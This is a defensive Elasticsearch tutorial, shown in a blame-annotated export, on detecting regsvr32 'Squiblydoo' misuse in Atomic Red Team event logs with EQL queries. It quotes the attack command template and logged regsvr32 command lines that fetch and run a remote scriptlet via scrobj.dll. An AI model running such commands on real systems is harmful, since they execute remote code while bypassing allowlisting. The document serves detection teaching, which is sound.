2020-08-14 13:40:44 -04:00
|
|
|
[role="xpack"]
|
|
|
|
[testenv="basic"]
|
|
|
|
[[eql-ex-threat-detection]]
|
|
|
|
== Example: Detect threats with EQL
|
|
|
|
|
2020-10-12 09:12:26 -04:00
|
|
|
beta::[]
|
2020-08-14 13:40:44 -04:00
|
|
|
|
2020-10-13 13:56:56 -04:00
|
|
|
This example tutorial shows how you can use EQL to detect security threats and
|
|
|
|
other suspicious behavior. In the scenario, you're tasked with detecting
|
|
|
|
https://attack.mitre.org/techniques/T1218/010/[regsvr32 misuse] in Windows event
|
|
|
|
logs.
|
2020-09-21 19:02:10 -04:00
|
|
|
|
|
|
|
`regsvr32.exe` is a built-in command-line utility used to register `.dll`
|
2020-10-24 11:09:51 -04:00
|
|
|
libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status,
|
|
|
|
letting it bypass most allowlist software and script blockers.
|
2020-09-21 19:02:10 -04:00
|
|
|
Attackers with access to a user's command line can use `regsvr32.exe` to run
|
2020-10-24 11:09:51 -04:00
|
|
|
malicious scripts via `.dll` libraries, even on machines that otherwise
|
2020-09-21 19:02:10 -04:00
|
|
|
disallow such scripts.
|
|
|
|
|
|
|
|
One common variant of regsvr32 misuse is a
|
|
|
|
https://attack.mitre.org/techniques/T1218/010/[Squiblydoo attack]. In a
|
|
|
|
Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to
|
|
|
|
register and run a remote script. These commands often look like this:
|
2020-08-14 13:40:44 -04:00
|
|
|
|
2020-09-21 19:02:10 -04:00
|
|
|
[source,sh]
|
|
|
|
----
|
|
|
|
"regsvr32.exe /s /u /i:<script-url> scrobj.dll"
|
|
|
|
----
|
2020-08-14 13:40:44 -04:00
|
|
|
|
|
|
|
[discrete]
|
|
|
|
[[eql-ex-threat-detection-setup]]
|
|
|
|
=== Setup
|
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
This tutorial uses a test dataset from
|
|
|
|
https://github.com/redcanaryco/atomic-red-team[Atomic Red Team] that includes
|
|
|
|
events imitating a Squiblydoo attack. The data has been mapped to
|
|
|
|
{ecs-ref}[Elastic Common Schema (ECS)] fields.
|
2020-08-14 13:40:44 -04:00
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
To get started:
|
2020-08-14 13:40:44 -04:00
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
. Download https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`].
|
2020-08-14 13:40:44 -04:00
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
. Use the <<docs-bulk,bulk API>> to index the data:
|
2020-08-14 13:40:44 -04:00
|
|
|
+
|
|
|
|
[source,sh]
|
|
|
|
----
|
|
|
|
curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
|
|
|
|
----
|
|
|
|
// NOTCONSOLE
|
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
. Use the <<cat-indices,cat indices API>> to verify the data was indexed:
|
2020-08-14 13:40:44 -04:00
|
|
|
+
|
|
|
|
[source,console]
|
|
|
|
----
|
|
|
|
GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count
|
|
|
|
----
|
|
|
|
// TEST[setup:atomic_red_regsvr32]
|
|
|
|
+
|
2020-10-24 11:09:51 -04:00
|
|
|
The response should show a `docs.count` of `150`.
|
2020-08-14 13:40:44 -04:00
|
|
|
+
|
|
|
|
[source,txt]
|
|
|
|
----
|
|
|
|
health status index docs.count
|
|
|
|
yellow open my-index-000001 150
|
|
|
|
----
|
|
|
|
// TESTRESPONSE[non_json]
|
|
|
|
|
|
|
|
[discrete]
|
|
|
|
[[eql-ex-get-a-count-of-regsvr32-events]]
|
2020-09-21 19:02:10 -04:00
|
|
|
=== Get a count of regsvr32 events
|
2020-08-14 13:40:44 -04:00
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
First, get a count of events associated with a `regsvr32.exe` process:
|
2020-08-14 13:40:44 -04:00
|
|
|
|
|
|
|
[source,console]
|
|
|
|
----
|
|
|
|
GET /my-index-000001/_eql/search?filter_path=-hits.events <1>
|
|
|
|
{
|
|
|
|
"query": """
|
|
|
|
any where process.name == "regsvr32.exe" <2>
|
|
|
|
""",
|
|
|
|
"size": 200 <3>
|
|
|
|
}
|
|
|
|
----
|
|
|
|
// TEST[setup:atomic_red_regsvr32]
|
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
<1> `?filter_path=-hits.events` excludes the `hits.events` property from the
|
|
|
|
response. This search is only intended to get an event count, not a list of
|
|
|
|
matching events.
|
|
|
|
<2> Matches any event with a `process.name` of `regsvr32.exe`.
|
|
|
|
<3> Returns up to 200 hits for matching events.
|
2020-08-14 13:40:44 -04:00
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
The response returns 143 related events.
|
2020-08-14 13:40:44 -04:00
|
|
|
|
|
|
|
[source,console-result]
|
|
|
|
----
|
|
|
|
{
|
|
|
|
"is_partial": false,
|
|
|
|
"is_running": false,
|
|
|
|
"took": 60,
|
|
|
|
"timed_out": false,
|
|
|
|
"hits": {
|
|
|
|
"total": {
|
|
|
|
"value": 143,
|
|
|
|
"relation": "eq"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
----
|
|
|
|
// TESTRESPONSE[s/"took": 60/"took": $body.took/]
|
|
|
|
|
|
|
|
[discrete]
|
|
|
|
[[eql-ex-check-for-command-line-artifacts]]
|
|
|
|
=== Check for command line artifacts
|
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
`regsvr32.exe` processes were associated with 143 events. But how was
|
|
|
|
`regsvr32.exe` first called? And who called it? `regsvr32.exe` is a command-line
|
|
|
|
utility. Narrow your results to processes where the command line was used:
|
2020-08-14 13:40:44 -04:00
|
|
|
|
|
|
|
[source,console]
|
|
|
|
----
|
|
|
|
GET /my-index-000001/_eql/search
|
|
|
|
{
|
|
|
|
"query": """
|
2020-08-20 10:45:01 -04:00
|
|
|
process where process.name == "regsvr32.exe" and process.command_line.keyword != null
|
2020-08-14 13:40:44 -04:00
|
|
|
"""
|
|
|
|
}
|
|
|
|
----
|
|
|
|
// TEST[setup:atomic_red_regsvr32]
|
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
The query matches one event with an `event.type` of `creation`, indicating the
|
|
|
|
start of a `regsvr32.exe` process. Based on the event's `process.command_line`
|
|
|
|
value, `regsvr32.exe` used `scrobj.dll` to register a script, `RegSvr32.sct`.
|
|
|
|
This fits the behavior of a Squiblydoo attack.
|
2020-08-14 13:40:44 -04:00
|
|
|
|
|
|
|
[source,console-result]
|
|
|
|
----
|
|
|
|
{
|
|
|
|
"is_partial": false,
|
|
|
|
"is_running": false,
|
|
|
|
"took": 21,
|
|
|
|
"timed_out": false,
|
|
|
|
"hits": {
|
|
|
|
"total": {
|
|
|
|
"value": 1,
|
|
|
|
"relation": "eq"
|
|
|
|
},
|
|
|
|
"events": [
|
|
|
|
{
|
|
|
|
"_index": "my-index-000001",
|
|
|
|
"_id": "gl5MJXMBMk1dGnErnBW8",
|
|
|
|
"_source": {
|
|
|
|
"process": {
|
|
|
|
"parent": {
|
|
|
|
"name": "cmd.exe",
|
|
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
|
|
|
|
"executable": "C:\\Windows\\System32\\cmd.exe"
|
|
|
|
},
|
|
|
|
"name": "regsvr32.exe",
|
|
|
|
"pid": 2012,
|
|
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
|
|
|
|
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
|
|
|
|
"executable": "C:\\Windows\\System32\\regsvr32.exe",
|
|
|
|
"ppid": 2652
|
|
|
|
},
|
|
|
|
"logon_id": 217055,
|
|
|
|
"@timestamp": 131883573237130000,
|
|
|
|
"event": {
|
|
|
|
"category": "process",
|
|
|
|
"type": "creation"
|
|
|
|
},
|
|
|
|
"user": {
|
|
|
|
"full_name": "bob",
|
|
|
|
"domain": "ART-DESKTOP",
|
|
|
|
"id": "ART-DESKTOP\\bob"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
]
|
|
|
|
}
|
|
|
|
}
|
|
|
|
----
|
|
|
|
// TESTRESPONSE[s/"took": 21/"took": $body.took/]
|
|
|
|
// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
|
|
|
|
|
|
|
|
[discrete]
|
|
|
|
[[eql-ex-check-for-malicious-script-loads]]
|
|
|
|
=== Check for malicious script loads
|
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
Check if `regsvr32.exe` later loads the `scrobj.dll` library:
|
2020-08-14 13:40:44 -04:00
|
|
|
|
|
|
|
[source,console]
|
|
|
|
----
|
|
|
|
GET /my-index-000001/_eql/search
|
|
|
|
{
|
|
|
|
"query": """
|
|
|
|
library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
|
|
|
|
"""
|
|
|
|
}
|
|
|
|
----
|
|
|
|
// TEST[setup:atomic_red_regsvr32]
|
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
The query matches an event, confirming `scrobj.dll` was loaded.
|
2020-08-14 13:40:44 -04:00
|
|
|
|
|
|
|
[source,console-result]
|
|
|
|
----
|
|
|
|
{
|
|
|
|
"is_partial": false,
|
|
|
|
"is_running": false,
|
|
|
|
"took": 5,
|
|
|
|
"timed_out": false,
|
|
|
|
"hits": {
|
|
|
|
"total": {
|
|
|
|
"value": 1,
|
|
|
|
"relation": "eq"
|
|
|
|
},
|
|
|
|
"events": [
|
|
|
|
{
|
|
|
|
"_index": "my-index-000001",
|
|
|
|
"_id": "ol5MJXMBMk1dGnErnBW8",
|
|
|
|
"_source": {
|
|
|
|
"process": {
|
|
|
|
"name": "regsvr32.exe",
|
|
|
|
"pid": 2012,
|
|
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
|
|
|
|
"executable": "C:\\Windows\\System32\\regsvr32.exe"
|
|
|
|
},
|
|
|
|
"@timestamp": 131883573237450016,
|
|
|
|
"dll": {
|
|
|
|
"path": "C:\\Windows\\System32\\scrobj.dll",
|
|
|
|
"name": "scrobj.dll"
|
|
|
|
},
|
|
|
|
"event": {
|
|
|
|
"category": "library"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
]
|
|
|
|
}
|
|
|
|
}
|
|
|
|
----
|
|
|
|
// TESTRESPONSE[s/"took": 5/"took": $body.took/]
|
|
|
|
// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
|
|
|
|
|
|
|
|
[discrete]
|
2020-10-24 11:09:51 -04:00
|
|
|
[[eql-ex-detemine-likelihood-of-success]]
|
2020-09-21 19:43:19 -04:00
|
|
|
=== Determine the likelihood of success
|
2020-08-14 13:40:44 -04:00
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
In many cases, attackers use malicious scripts to connect to remote servers or
|
|
|
|
download other files. Use an <<eql-sequences,EQL sequence query>> to check
|
|
|
|
for the following series of events:
|
2020-08-14 13:40:44 -04:00
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
. A `regsvr32.exe` process
|
2020-08-14 13:40:44 -04:00
|
|
|
. A load of the `scrobj.dll` library by the same process
|
2020-10-24 11:09:51 -04:00
|
|
|
. Any network event by the same process
|
2020-08-14 13:40:44 -04:00
|
|
|
|
2020-10-24 11:09:51 -04:00
|
|
|
Based on the command line value seen in the previous response, you can expect to
|
|
|
|
find a match. However, this query isn't designed for that specific command.
|
|
|
|
Instead, it looks for a pattern of suspicious behavior that's generic enough to
|
|
|
|
detect similar threats.
|
2020-08-14 13:40:44 -04:00
|
|
|
|
|
|
|
[source,console]
|
|
|
|
----
|
|
|
|
GET /my-index-000001/_eql/search
|
|
|
|
{
|
|
|
|
"query": """
|
|
|
|
sequence by process.pid
|
2020-09-16 11:43:37 -04:00
|
|
|
[process where process.name == "regsvr32.exe"]
|
|
|
|
[library where dll.name == "scrobj.dll"]
|
2020-08-14 13:40:44 -04:00
|
|
|
[network where true]
|
|
|
|
"""
|
|
|
|
}
|
|
|
|
----
|
|
|
|
// TEST[setup:atomic_red_regsvr32]
|
|
|
|
|
|
|
|
The query matches a sequence, indicating the attack likely succeeded.
|
|
|
|
|
|
|
|
[source,console-result]
|
|
|
|
----
|
|
|
|
{
|
|
|
|
"is_partial": false,
|
|
|
|
"is_running": false,
|
|
|
|
"took": 25,
|
|
|
|
"timed_out": false,
|
|
|
|
"hits": {
|
|
|
|
"total": {
|
|
|
|
"value": 1,
|
|
|
|
"relation": "eq"
|
|
|
|
},
|
|
|
|
"sequences": [
|
|
|
|
{
|
|
|
|
"join_keys": [
|
2020-08-18 12:37:15 -04:00
|
|
|
2012
|
2020-08-14 13:40:44 -04:00
|
|
|
],
|
|
|
|
"events": [
|
|
|
|
{
|
|
|
|
"_index": "my-index-000001",
|
|
|
|
"_id": "gl5MJXMBMk1dGnErnBW8",
|
|
|
|
"_source": {
|
|
|
|
"process": {
|
|
|
|
"parent": {
|
|
|
|
"name": "cmd.exe",
|
|
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
|
|
|
|
"executable": "C:\\Windows\\System32\\cmd.exe"
|
|
|
|
},
|
|
|
|
"name": "regsvr32.exe",
|
|
|
|
"pid": 2012,
|
|
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
|
|
|
|
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
|
|
|
|
"executable": "C:\\Windows\\System32\\regsvr32.exe",
|
|
|
|
"ppid": 2652
|
|
|
|
},
|
|
|
|
"logon_id": 217055,
|
|
|
|
"@timestamp": 131883573237130000,
|
|
|
|
"event": {
|
|
|
|
"category": "process",
|
|
|
|
"type": "creation"
|
|
|
|
},
|
|
|
|
"user": {
|
|
|
|
"full_name": "bob",
|
|
|
|
"domain": "ART-DESKTOP",
|
|
|
|
"id": "ART-DESKTOP\\bob"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
},
|
|
|
|
{
|
|
|
|
"_index": "my-index-000001",
|
|
|
|
"_id": "ol5MJXMBMk1dGnErnBW8",
|
|
|
|
"_source": {
|
|
|
|
"process": {
|
|
|
|
"name": "regsvr32.exe",
|
|
|
|
"pid": 2012,
|
|
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
|
|
|
|
"executable": "C:\\Windows\\System32\\regsvr32.exe"
|
|
|
|
},
|
|
|
|
"@timestamp": 131883573237450016,
|
|
|
|
"dll": {
|
|
|
|
"path": "C:\\Windows\\System32\\scrobj.dll",
|
|
|
|
"name": "scrobj.dll"
|
|
|
|
},
|
|
|
|
"event": {
|
|
|
|
"category": "library"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
},
|
|
|
|
{
|
|
|
|
"_index": "my-index-000001",
|
|
|
|
"_id": "EF5MJXMBMk1dGnErnBa9",
|
|
|
|
"_source": {
|
|
|
|
"process": {
|
|
|
|
"name": "regsvr32.exe",
|
|
|
|
"pid": 2012,
|
|
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
|
|
|
|
"executable": "C:\\Windows\\System32\\regsvr32.exe"
|
|
|
|
},
|
|
|
|
"@timestamp": 131883573238680000,
|
|
|
|
"destination": {
|
|
|
|
"address": "151.101.48.133",
|
|
|
|
"port": "443"
|
|
|
|
},
|
|
|
|
"source": {
|
|
|
|
"address": "192.168.162.134",
|
|
|
|
"port": "50505"
|
|
|
|
},
|
|
|
|
"event": {
|
|
|
|
"category": "network"
|
|
|
|
},
|
|
|
|
"user": {
|
|
|
|
"full_name": "bob",
|
|
|
|
"domain": "ART-DESKTOP",
|
|
|
|
"id": "ART-DESKTOP\\bob"
|
|
|
|
},
|
|
|
|
"network": {
|
|
|
|
"protocol": "tcp",
|
|
|
|
"direction": "outbound"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
]
|
|
|
|
}
|
|
|
|
]
|
|
|
|
}
|
|
|
|
}
|
|
|
|
----
|
|
|
|
// TESTRESPONSE[s/"took": 25/"took": $body.took/]
|
|
|
|
// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
|
|
|
|
// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
|
|
|
|
// TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]
|